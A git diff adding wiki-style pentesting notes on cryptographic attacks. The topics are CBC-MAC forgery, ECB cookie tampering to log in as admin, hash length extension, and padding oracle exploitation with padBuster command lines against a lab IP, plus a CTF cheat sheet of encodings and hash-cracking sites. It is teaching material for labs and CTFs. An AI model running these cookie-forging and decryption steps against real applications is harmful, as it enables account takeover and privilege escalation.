+**Post from** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## CBC
+
+The easiest attack to test is that if the cookie just the username encrypted.
+
+If the cookie is only the username \(or the first part of the cookie is the username\) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and bruteforce the first byte of the cookie.
+
+## CBC-MAC
+
+CBC-MAC is a method to ensure integrity of a message by encrypting it using CBC mode and keeping the last encrypted block as "signature". This ensures that a malicious user can not modify any part of the data without having to change the signature. The key used for the "encryption" ensures that the signature can't be guessed.
+
+However, when using CBC-MAC, the developer needs to be very careful if the message are not of fixed length. In this example, we will use the fact that there is no protection in place to get the application to sign two messages and build another message by concatenating the two messages.
+
+## Theory
+
+With CBC-MAC, we can generate two signatures `t` and `t'` for the messages `m` and `m'`. By using `m` and `m'` we can forge another message `m''` that will have the same signature as `m'` \(`t'`\). One thing to keep in mind is that the recommended way to use CBC-MAC is to use a NULL IV.
+
+To keep things simple, we are going to work on a single block for each message.
+
+We can see below how signing both messages works \(NB: both signatures are completely independent from each other\):
+
+![](https://pentesterlab.com/cbc-mac/cbc-mac-1.png)
+
+If we try to concatenate those messages, the signature is no longer valid \(since `t` is now the IV for the second block where it was only NULL before\):
+
+![](https://pentesterlab.com/cbc-mac/cbc-mac-2.png)
+
+However, if we XOR `m'` and `t`, the signature is now `t'`:
+
+![](https://pentesterlab.com/cbc-mac/cbc-mac-3.png)
+
+## Implementation
+
+Based on the size of the signature, we can guess that the block size is likely to be 8. With this information, we will split `administrator`:
+
+* `administ`
+* `rator\00\00\00`
+
+We can trivially generate the signature for the first block, by just logging in and retrieving the signature `t`.
+
+For the second block, we want the `m'` XOR `t` to be equal to `rator\00\00\00`. So to generate the second username we will need to XOR `rator\00\00\00` with `t` \(since the application will sign it with a NULL IV instead of `t`\). Once we have this value, we can get the signature `t'`.
+
+Finally, we just need to concatenate `m` and `m'` to get `administrator` and use `t'` as signature.
+
+#### Resume
+
+1. Get the signature of username **administ** =  **t**
+2. Get the signature of username **rator\x00\x00\x00 XOR t** = **t'**
+3. Set in the cookie the value **administrator+t'** \(**t'** will be a valid signature of **\(rator\x00\x00\x00 XOR t\) XOR t** = **rator\x00\x00\x00**
+
+### CBC-MAC simple attack \(controlling IV\)
+
+If you can control the used IV the attack could be very easy.
+
+To impersonate the user "**administrator**" you can create the user "**Administrator**" and you will have the cookie with the **username+signature** and the cookie with the **IV**.
+
+To generate the cookies of the username "**administrator**" change the first cookie and set the username from "**Administrator**" to "**administrator**". Change the first byte of the cookie of the **IV** so **IV\[0\] XOR "A" == IV'\[0\] XOR "a"**. Using these cookies you can login as administrator.
+
diff --git a/cryptography/crypto-ctfs-tricks.md b/cryptography/crypto-ctfs-tricks.md
new file mode 100644
index 00000000000..b2529d9dd11
--- /dev/null
+++ b/cryptography/crypto-ctfs-tricks.md
@@ -0,0 +1,256 @@
+# Crypto CTFs Tricks
+
+## Online Hashes DBs
+
+* _**Google it**_
+* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
+* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com/)
+* [https://crackstation.net/](https://crackstation.net/)
+* [https://md5decrypt.net/](https://md5decrypt.net/)
+* [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
+* [https://gpuhash.me/](https://gpuhash.me/)
+* [https://hashes.org/search.php](https://hashes.org/search.php)
+* [https://www.cmd5.org/](https://www.cmd5.org/)
+* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
+* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
+
+## Encoders
+
+Most of encoded data can be decoded with these 2 ressources:
+
+* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
+* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+
+### Substitution Autosolvers
+
+* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
+* [https://quipqiup.com/](https://quipqiup.com/) - Very good !
+
+#### Caesar - ROTx Autosolvers
+
+* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
+
+#### Atbash Cipher
+
+* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
+
+### Similar to BASE64
+
+Check all bases with: [https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)
+
+* **Base32** \[_A-Z2-7=_\]
+  * `NBXWYYLDMFZGCY3PNRQQ====`
+* **Base58** \[_123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz_\]
+  * `2yJiRg5BF9gmsU6AC`
+* **Base62** \[_0-9A-Za-z_\]
+  * `g2AextRZpBKRBzQ9`
+* **Base64** \[_A-Za-z0-9+/=_\]
+  * `aG9sYWNhcmFjb2xh`
+* **Base85 --&gt; Like Ascii85**
+* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_\]
+  * `MIc3KiXa+Ihz+lrXMIc3KbCC`
+* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_\]
+  * `DmPsv8J7qrlKEoY7`
+* **MEGAN35** \[_3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5_\]
+  * `kLD8iwKsigSalLJ5`
+* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_\]
+  * `ayRiIo1gpO+uUc7g`
+* **ESAB46** \[\]
+  * `3sHcL2NR8WrT7mhR`
+* **MEGAN45** \[\]
+  * `kLD8igSXm2KZlwrX`
+* **TIGO3FX** \[\]
+  * `7AP9mIzdmltYmIP9mWXX`
+* **TRIPO5** \[\]
+  * `UE9vSbnBW6psVzxB`
+* **FERON74** \[\]
+  * `PbGkNudxCzaKBm0x`
+* **GILA7** \[\]
+  * `D+nkv8C1qIKMErY1`
+* **Citrix CTX1** \[\]
+  * `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
+
+[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+
+### HackerizeXS \[_╫Λ↻├☰┏_\]
+
+```text
+╫☐↑Λ↻Λ┏Λ↻☐↑Λ
+```
+
+* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+
+### Morse
+
+```text
+.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
+```
+
+* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+
+### UUencoder
+
+```text
+begin 644 webutils_pl
+M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
+M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
+F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
+`
+end
+```
+
+* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
+
+### XXEncoder
+
+```text
+begin 644 webutils_pl
+hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
+5Hol-G2xAEE++
+end
+```
+
+* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
+
+### YEncoder
+
+```text
+=ybegin line=128 size=28 name=webutils_pl
+ryvkryvkryvkryvkryvkryvkryvk
+=yend size=28 crc32=35834c86
+```
+
+* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
+
+### BinHex
+
+```text
+(This file must be converted with BinHex 4.0)
+:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
+-38K26%'d9J!!:
+```
+
+* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
+
+### ASCII85
+
+```text
+<~85DoF85DoF85DoF85DoF85DoF85DoF~>
+```
+
+* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
+
+### Dvorak keyboard
+
+```text
+drnajapajrna
+```
+
+* [https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
+
+### A1Z26
+
+Letters to their numerical value
+
+```text
+8 15 12 1 3 1 18 1 3 15 12 1
+```
+
+### Affine Cipher Encode
+
+Letter to num `(ax+b)%26` \(_a_ and _b_ are the keys and _x_ is the letter\) and the result back to letter
+
+```text
+krodfdudfrod
+```
+
+### SMS Code
+
+**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) \(This mode is used when writing SMS\).  
+For example: 2=A, 22=B, 222=C, 3=D...  
+You can identify this code because you will see **several numbers repeated**.
+
+You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
+
+### Bacon Code
+
+Substitude each letter for 4 As or Bs \(or 1s and 0s\)
+
+```text
+00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
+AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
+```
+
+### Runes
+
+![](../.gitbook/assets/runes.jpg)
+
+## Compression
+
+**Raw Deflate** and **Raw Inflate** \(you can find both in Cyberchef\) can compress and decompress data without headers.
+
+## Easy Crypto
+
+### XOR - Autosolver
+
+* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
+
+### Bifid
+
+A keywork is needed
+
+```text
+fgaargaamnlunesuneoa
+```
+
+### Vigenere
+
+A keywork is needed
+
+```text
+wodsyoidrods
+```
+
+* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
+* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
+* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
+
+## Strong Crypto
+
+### Fernet
+
+2 base64 strings \(token and key\)
+
+```text
+Token:
+gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
+
+Key:
+-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
+```
+
+* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
+
+### Samir Secret Sharing
+
+A secret is splitted in X parts and to recover it you need Y parts \(_Y &lt;=X_\).
+
+```text
+8019f8fa5879aa3e07858d08308dc1a8b45
+80223035713295bddf0b0bd1b10a5340b89
+803bc8cf294b3f83d88e86d9818792e80cd
+```
+
+[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
+
+### OpenSSL brute-force
+
+* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
+* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
+
+## Tools
+
+* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
+* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
+* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
+
diff --git a/cryptography/electronic-code-book-ecb.md b/cryptography/electronic-code-book-ecb.md
new file mode 100644
index 00000000000..aa6a1a92147
--- /dev/null
+++ b/cryptography/electronic-code-book-ecb.md
@@ -0,0 +1,226 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Electronic Code Book \(ECB\)
+
+**Post from:** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## ECB
+
+ECB is an encryption mode in which the message is splitted into blocks of X bytes length and each block is encrypted separetely using a key.
+
+The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) explains this method:
+
+![License](https://assets.pentesterlab.com/ecb/ECB_encryption.png)
+
+You can check the [recent XKCD on the Adobe's password leak](http://xkcd.com/1286/) to get an humoristic idea of the problems tied to ECB.
+
+During the decryption, the reverse operation is used. Using ECB has multiple security implications:
+
+* Blocks from encrypted message can be removed without disturbing the decryption process.
+* Blocks from encrypted message can be moved around without disturbing the decryption process.
+
+In this exercise, we will see how we can exploit these two weaknesses.
+
+## Detection of the vulnerability
+
+In this exercise, you can register an account and log in with this account \(to make things easier, you get automatically logged in when you register\).
+
+If you create an account and log in two times with this account, you can see that the cookie sent by the application didn't change.If you log in many times and always get the same cookie, there is probably something wrong in the application. The cookie sent back should be unique each time you log in. If the cookie is always the same, it will probably always be valid and there won't be anyway to invalidate it.
+
+If we look at the cookie, we can see that it seems uri-encoded and base64-encoded:
+
+![License](https://assets.pentesterlab.com/ecb/cookie.png)
+
+The 2 equals sign encoded as `%3d%3d` are a good indicator of base64-encoded string.
+
+We can decode it using the following ruby code:
+
+```text
+% irb
+> require 'base64' ; require 'uri'
+ => true
+> Base64.decode64(URI.decode("OR9hcp18%2BC1bChK10NlRRg%3d%3d"))
+ => "9\x1Far\x9D|\xF8-[\n\x12\xB5\xD0\xD9QF"
+```
+
+Or by decoding the URI to a string manually and use the base64 command:
+
+```text
+% echo "OR9hcp18+C1bChK10NlRRg==" | base64 -D | hexdump -C
+0000000 39 1f 61 72 9d 7c f8 2d 5b 0a 12 b5 d0 d9 51 46  |9.ar.|.-[.....QF|
+0000010
+```
+
+On osX, the command `base64 -D` replaces `base64 -d`
+
+In both cases, we can see that the information seems to be encrypted.
+
+First, we can start by creating two accounts `test1` and `test2` with the same password: `password` and compare the cookies sent by the application. We get the following cookies \(after URI-decoding\):
+
+| Account: | test1 | test2 |
+| :--- | :--- | :--- |
+| Cookie: | vHMQ+Nq9C3MHT8ZkGeMr4w== | Mh+JMH1OMhcHT8ZkGeMr4w== |
+
+If we base64-decode both cookies, we get the following strings:
+
+| Account: | test1 | test2 |
+| :--- | :--- | :--- |
+| Decoded cookie: | \xBCs\x10\xF8\xDA\xBD\vs**\aO\xC6d\x19\xE3+\xE3** | 2\x1F\x890}N2\x17**\aO\xC6d\x19\xE3+\xE3** |
+
+We can see that part of the decrypted values look really similar.
+
+Now we can try to create a user with an arbitrary long username and password. For example, a username composed of 20 `a` and a password composed of 20 `a`. By creating this user, we get the following cookie:
+
+```text
+> document.cookie
+"auth=GkzSM2vKHdcaTNIza8od1wS28inRHiC2GkzSM2vKHdcaTNIza8od1ys96EXmirn5"
+```
+
+If we decode this value, we get the following value:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7\x04\xB6\xF2)\xD1\x1E \xB6\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7+=\xE8E\xE6\x8A\xB9\xF9
+```
+
+We can see that the following pattern \(composed of 8 bytes\): **`\x1AL\xD23k\xCA\x1D\xD7`** comes back multiple times:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7\x04\xB6\xF2)\xD1\x1E \xB6\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7+=\xE8E\xE6\x8A\xB9\xF9
+```
+
+Based on the size of the pattern, we can infer that the ECB encryption uses a block size of 8 bytes.This example is using a weak encryption mechanism and it's likely that real life examples will use bigger block size.
+
+The decoded information also shows us that the username and password are not directly concatenated and that a delimiter is added \(since one of the block in the middle is different from the previous one\).
+
+We can think of the encrypted stream has one of the two following possibilities:
+
+* The stream contains the username, a delimiter and the password:
+
+![Schema username password](https://assets.pentesterlab.com/ecb/del_u_p.png)
+
+* The stream contains the password, a delimiter and the username:
+
+![Schema password username](https://assets.pentesterlab.com/ecb/del_p_u.png)
+
+By creating another user with a long username and a short password, we can see that the following pattern is used: `username|delimiter|password`.
+
+Now let's try to find the size of the delimiter, if we play with different size of username and password we get the following results:
+
+| Username length: | Password length: | Username+Password length: | Cookie's length \(after decoding\): |
+| :--- | :--- | :--- | :--- |
+| 2 | 3 | 5 | 8 |
+| 3 | 3 | 6 | 8 |
+| 3 | 4 | 7 | 8 |
+| 4 | 4 | 8 | 16 |
+| 4 | 5 | 9 | 16 |
+
+We can see that the size of the decoded cookie goes from 8 to 16 bytes when the length of the Username+Password is greater than 7. We can infer from this value that the delimiter is a single byte since the encryption is done per block of 8 bytes.
+
+Another important thing is to see what part of the encrypted stream is used by the application when we send the cookie back. If we remove everything after the block corresponding to the delimiter, we can see that we are still authenticated. The password does not seem to be used when the cookie gets used by the application.
+
+We now know that we just need to get the correct `username|delimiter` to get authenticated within the application as `username`.If you can find what delimiter is used \(or brute force it\), you can try to create a user with a username that contains the delimiter \(for example the username "`admin:`"\). Using this method, you may be able to get logged in as `admin`. This web application prevents this type of attack.
+
+## Exploitation of the vulnerability
+
+### By removing information
+
+The easiest way to get `admin` access is to remove some of the encrypted data. We know that the application uses the following format:
+
+```text
+\[username\]:\[separator\]
+```
+
+and only uses the `username` when the cookie is sent back to the application. We also know that each block of 8 bytes is completely independant \(ECB\). To exploit this issue, we can create a username that contains 8 characters followed by the word `admin`:
+
+```text
+aaaaaaaaadmin
+```
+
+And we will receive the cookie \(retrieved using the Javascript Console\):
+
+```text
+> document.cookie
+"auth=GkzSM2vKHdfgVmQuKXLregdPxmQZ4yvj"
+```
+
+This value will get decoded as:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3
+```
+
+We can see the pattern `\x1AL\xD23k\xCA\x1D\xD7` detected previously with the username that contained 20 `a`.
+
+We can then remove the first 8 bytes of information and reencode our payload to get a new cookie:
+
+```text
+\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3
+```
+
+That will get encoded by the following ruby code:
+
+```text
+% irb
+> require 'cgi'; require 'base64'
+ => true
+> CGI.escape(Base64.strict_encode64("\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3"))
+ => "4FZkLily63oHT8ZkGeMr4w%3D%3D"
+```
+
+Once you modify the cookie:
+
+![Cookie tampering with JS console](https://assets.pentesterlab.com/ecb/cookiemod.png)
+
+And send this value back to the application \(by reloading the page\), you get logged in as `admin`:
+
+![License](https://assets.pentesterlab.com/ecb/admin.png)
+
+### By swapping blocks around
+
+A more complicated way to bypass this is to swap data around. We can make the assumption that the application will use an SQL query to retrieve information from the user based on his `username`. For some databases, when using the type of data `VARCHAR` \(as opposed to `BINARY` for example\), the following will give the same result:
+
+```text
+SELECT * FROM users WHERE username='admin';
+```
+
+```text
+SELECT * FROM users WHERE username='admin        ';
+```
+
+The spaces after the value `admin` are ignored during the string comparison. We will use this to play with the encrypted blocks.
+
+Our goal is to end up with the following encrypted data:
+
+```text
+ECB(admin   [separator]password)
+```
+
+We know that our separator is only composed of one byte. We can use this information to create the perfect `username` and `password`to be able to swap the blocks and get the correct forged value.
+
+We need to find a username and a password for which:
+
+* the password starts with `admin` to be used as the new username.
+* the encrypted password should be located at the start of a new block.
+* the `username+delimiter` length should be divisible by the block size \(from previous conditions\)
+
+By playing around, we can see that the following values work:
+
+* a `username` composed of `password` \(8 bytes\) followed by 7 spaces \(1 byte will be used by the delimiter\).
+* a `password` composed of `admin` followed by 3 spaces \(`8 - length("admin")`\).
+
+When creating this user, use a proxy to intercept the request and make sure your browser didn't remove the space characters.
+
+If you create correctly this user, the encrypted information will look like:![License](https://assets.pentesterlab.com/ecb/swap-b.png)
+
+Using some Ruby \(or even with Burp decoder\), you can swap the first 8 bytes with the last 8 bytes to get the following encrypted stream:![License](https://assets.pentesterlab.com/ecb/swap-a.png)
+
+Once you modify your cookie, and you reload the page, you should be logged in as `admin`:
+
+![License](https://assets.pentesterlab.com/ecb/admin.png)
+
+## Conclusion
+
+This exercise showed you how you can tamper encrypted information without decrypting them and use this behaviour to gain access to other accounts. It showed you that encryption can not be used as a replacement to signature and how it's possible to use ECB encryption to get control on the decrypted information. I hope you enjoyed learning with PentesterLab.
+
diff --git a/cryptography/hash-length-extension-attack.md b/cryptography/hash-length-extension-attack.md
new file mode 100644
index 00000000000..6dbcbcc0696
--- /dev/null
+++ b/cryptography/hash-length-extension-attack.md
@@ -0,0 +1,35 @@
+# Hash Length Extension Attack
+
+## Summary of the attack
+
+Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
+
+* **The length of the secret** \(this can be also bruteforced from a given length range\)
+* **The clear text data**
+* **The algorithm \(and it's vulnerable to this attack\)**
+* **The padding is known** 
+  * Usually a default one is used, so if the other 3 requirements are met, this also is
+  * The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
+
+Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previos data + appended data**.
+
+### How?
+
+Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** \(state\), they **add the next block of data** and **hash it**.
+
+Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.  
+If an attacker wants to append the string "append" he can:
+
+* Generate a MD5 of 64 "A"s
+* Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
+* Append the string "append"
+* Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
+
+### **Tool**
+
+{% embed url="https://github.com/iagox86/hash\_extender" %}
+
+## References
+
+You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
+
diff --git a/cryptography/padding-oracle-priv.md b/cryptography/padding-oracle-priv.md
new file mode 100644
index 00000000000..1a1100ce546
--- /dev/null
+++ b/cryptography/padding-oracle-priv.md
@@ -0,0 +1,125 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Padding Oracle
+
+**Post from** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## Cipher Block Chaining
+
+CBC is an encryption mode in which the message is split into blocks of X bytes length and each block is XORed with the previous encrypted block. The result is then encrypted.
+
+The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) explains this method:
+
+![CBC encryption](https://assets.pentesterlab.com/padding_oracle/CBC_encryption.png)
+
+During the decryption, the reverse operation is used. The encrypted data is split in block of X bytes. Then the block is decrypted and XORed with the previous encrypted block to get the cleartext. The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) highlights this behavior:
+
+![CBC decryption](https://assets.pentesterlab.com/padding_oracle/CBC_decryption.png)
+
+Since the first block does not have a previous block, an initialization vector \(IV\) is used.
+
+## Padding
+
+As we saw, the encryption is done by blocks of fixed size. To ensure that the cleartext exactly fit in one or multiple blocks, padding is often used. Padding can be done in multiple ways. A common way is to use PKCS7. With PKCS7, the padding will be composed of the same number: the number of bytes missing. For example, if the cleartext is missing 2 bytes, the padding will be `\x02\x02`.
+
+Let's look at more examples with a 2 blocks:
+
+| Block \#0 | Block \#1 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
+| :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- |
+| byte \#0 | byte \#1 | byte \#2 | byte \#3 | byte \#4 | byte \#5 | byte \#6 | byte \#7 | byte \#0 | byte \#1 | byte \#2 | byte \#3 | byte \#4 | byte \#5 | byte \#6 | byte \#7 |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | '1' | '2' | '3' | **0x02** | **0x02** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | '1' | '2' | **0x03** | **0x03** | **0x03** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
+
+## Padding Oracle
+
+When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, **if** an **invalid** **padding** triggers a detectable **behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack** of **results**, or a **slower response**.
+
+If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
+
+### How to exploit
+
+You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do 
+
+```text
+sudo apt-get install padbuster
+```
+
+In order to test if the cookie of a site is vulnerable you could try: 
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "auth=Nl0OpaQYeGPMJeWSih2iiQ=="
+```
+
+**Encoding 0** means that **base64** is used \(but others are available, check the help menu\).
+
+You could also **abuse** this **vulnerability** to **encrypt new data**. For example, imagine that the content of the cookie is "_user=MyUsername_", then you may change it to "_**user=administrator**_" and escalate privileges inside the application. You could also do it using `paduster`specifying the **-plaintext** parameter:
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "auth=Nl0OpaQYeGPMJeWSih2iiQ==" -plaintext "user=administrator"
+```
+
+If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "hcon=Nl0OpaQYeGPMJeWSih2iiQ==" -error "Invalid padding"
+```
+
+### The theory
+
+In **summary**, you can start decrypting the encrypted data by **guessing** the correct **values** that can be used to **create** all the **different paddings**. Then, the padding oracle attack will start **decrypting** bytes **from** the **end** to the start by **guessing** which will be the correct **value** that **creates a padding of 1, 2, 3, etc**.
+
+If we zoom in, we can see that the cleartext byte `C15` is just a XOR between the encrypted byte `E7` from the previous block, and byte `I15` which came out of the block decryption step:
+
+![CBC zoom in](https://assets.pentesterlab.com/padding_oracle/zoomin.png)
+
+This is also valid for all other bytes:
+
+* `C14 = I14 ^ E6`
+* `C13 = I13 ^ E5`
+* `C12 = I12 ^ E4`
+* ...
+
+Now if we modify `E7` and keep changing its value, we will keep getting an invalid padding. Since we need `C15` to be `\x01`. However, there is one value of `E7` that will give us a valid padding. Let's call it `E'7`. With `E'7`, we get a valid padding. And since we know we get a valid padding we know that `C'15` \(as in `C15` for `E'7`\) is `\x01`.
+
+`\x01 = I15 ^ E'7`
+
+The gives us:
+
+`I15 = \x01 ^ E'7`
+
+So we are able to compute `I15`.
+
+Since we know `I15`, we can now compute `C15`
+
+`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
+
+Now that we have `C15`, we can move to brute-forcing `C14`. First we need to compute another `E7` \(let's call it `E''7`\) that gives us `C15 = \x02`. We need to do that since we want the padding to be `\x02\x02` now. It's really simple to compute using the property above and by replacing the value of `C15` we want \(`\x02`\) and `I15` we now know:
+
+`E''7 = \x02 ^ I15`
+
+After brute force `E6`, to find the value that gives us a valid padding `E''6`, we can re-use the formula:
+
+`C14 = I14 ^ E6`
+
+to get
+
+`I14 = \x02 ^ E''6`
+
+Once we get `I14`, we can compute `C14`:
+
+`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`
+
+Using this method, we can keep going until we get all the ciphertext decrypted.
+
+### Detection of the vulnerability
+
+To get started, you can register an account and log in with this account \(to make things easier, you get automatically logged in when you register\).
+
+If you create an account and log in two times with this account, you can see that the cookie sent by the application didn't change.If you log in many times and always get the same cookie, there is probably something wrong in the application. The cookie sent back should be unique each time you log in. If the cookie is always the same, it will probably always be valid and there won't be anyway to invalidate it.
+
+Now, if you try to modify the cookie, you can see that you get an error from the application.
+
diff --git a/cryptography/rc4-encrypt-and-decrypt.md b/cryptography/rc4-encrypt-and-decrypt.md
new file mode 100644
index 00000000000..12991b9aeda
--- /dev/null
+++ b/cryptography/rc4-encrypt-and-decrypt.md
@@ -0,0 +1,14 @@
+# RC4 - Encrypt&Decrypt
+
